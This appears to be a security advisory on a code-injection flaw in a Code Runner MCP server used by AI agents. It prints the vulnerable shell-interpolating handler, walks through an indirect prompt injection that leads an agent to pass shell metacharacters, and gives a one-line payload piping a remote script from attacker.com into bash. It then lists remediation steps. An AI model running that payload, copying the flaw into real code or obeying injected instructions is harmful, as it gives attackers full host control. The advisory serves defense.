A critical unauthenticated remote code execution vulnerability (CVE-2026-5029, CVSS 9.8) has been discovered in the Code Runner Model Context Protocol (MCP) Server, an open-source bridge used by frontier language models and autonomous agent workflows to evaluate dynamic programming languages. The flaw allows remote threat actors to break out of LLM-instructed execution pipelines and execute arbitrary host operating system commands.

The Rise of Model Context Protocol and Emerging Attack Surfaces

The Model Context Protocol (MCP) has rapidly emerged as the open industry standard for connecting generative AI agents, IDE copilots, and enterprise LLM orchestrators with external databases, APIs, and execution runtimes. By standardizing tool definitions, JSON-RPC communication schemas, and capability discovery, MCP allows agents to dynamically invoke tools such as filesystem readers, terminal executors, and code interpreters.

However, the trust model of MCP hinges on the assumption that tool-calling arguments are either human-verified or rigorously sandboxed by the downstream server implementation. When MCP servers expose high-risk primitives like code execution over raw standard I/O or Server-Sent Events (SSE) without internal process isolation, any indirect prompt injection in the LLM context translates directly into weaponized command execution.

Vulnerability Analysis & Unsanitized Tool Invocation (CWE-94)

The root cause of CVE-2026-5029 is tracked as CWE-94: Improper Control of Generation of Code ('Code Injection'). In vulnerable versions of the Code Runner MCP server, the execute_script tool handler accepted an unvalidated command_args parameter alongside the source code payload.

Instead of passing arguments safely to an isolated runtime via argument vectors (e.g., execv), the server formatted arguments into a raw shell string evaluated via child_process.exec or subprocess.Popen(shell=True): 

// Vulnerable tool dispatch logic in code-runner MCP server
export async function handleRunCode(args: RunCodeArgs) {
  const { language, script, executionFlags } = args;
  
  // INSECURE: Shell interpolation allows argument injection & arbitrary execution
  const cmd = `${getInterpreter(language)} -c "${escapeQuotes(script)}" ${executionFlags || ''}`;
  
  return new Promise((resolve, reject) => {
    exec(cmd, { timeout: 15000 }, (error, stdout, stderr) => {
      resolve({ stdout, stderr, exitCode: error ? error.code : 0 });
    });
  });
}

By crafting an indirect prompt injection payload embedded inside a public GitHub repository, webpage, or PDF document analyzed by the AI agent, an attacker forces the LLM to invoke the tool with injected shell meta-characters (e.g., ; curl http://attacker.com/rev.sh | bash #), resulting in immediate interactive reverse shell access to the host workstation or cloud build container.

Threat Model & CVSS v3.1 Metric Breakdown

Security Parameter Vulnerability Specification
Vulnerability Identifier CVE-2026-5029 / GHSA-code-runner-2026
CVSS v3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Base Score 9.8 (Critical)
Attack Vector Network / Indirect Prompt Injection via MCP Tool Call
Affected Components code-runner-mcp < v1.4.2
Impact Scope Complete Host Compromise, Cloud Metadata (IMDSv2) Theft, Secret Exfiltration

Remediation & Hardening Framework for Agent Runtimes

AI engineering teams and enterprise security architects deploying agentic tooling must take immediate remediation actions:

1. Upgrade to Code Runner MCP v1.4.2

Update the dependency across global NPM and Python package environments. The patched release removes shell invocation, validates arguments against an allowlist, and executes runtimes through unprivileged sandboxed process forks: 

# Upgrade global and project MCP servers
npm install -g code-runner-mcp@latest
# Verify installed version
code-runner-mcp --version # Must output >= 1.4.2

2. Implement MicroVM or Container Sandboxing (gVisor / Firecracker)

Never run code-executing MCP servers directly on developer bare-metal hosts or containers sharing the Docker socket. Wrap all execution tools inside ephemeral, rootless microVM sandboxes: 

# Docker run with gVisor (runsc) runtime and disabled host networking
docker run --rm -i   --runtime=runsc   --network none   --memory 512m   --cpus 1.0   --cap-drop ALL   code-runner-mcp:latest

3. Restrict MCP Client Tool Permissions

Configure agent clients (such as Claude Desktop, Cursor, or custom LangChain/LlamaIndex agents) to require explicit human confirmation before executing any code interpreter or terminal tooling primitives.